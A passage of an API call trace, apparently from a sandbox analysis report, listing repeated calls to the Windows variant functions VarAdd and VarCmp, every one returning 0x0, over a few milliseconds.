pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.067] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.068] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.069] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.070] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.070] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.071] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.072] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.072] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762d0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 [0073.073] VarCmp (pvarLeft=0x2885d5762d0, pvarRight=0x2885d5762b8, lcid=0x0, dwFlags=0x30001) returned 0x0 [0073.073] VarAdd (in: pvarLeft=0x2885d5762a0, pvarRight=0x2885d576928, pvarResult=0x2885d576910 | out: pvarResult=0x2885d576910) returned 0x0 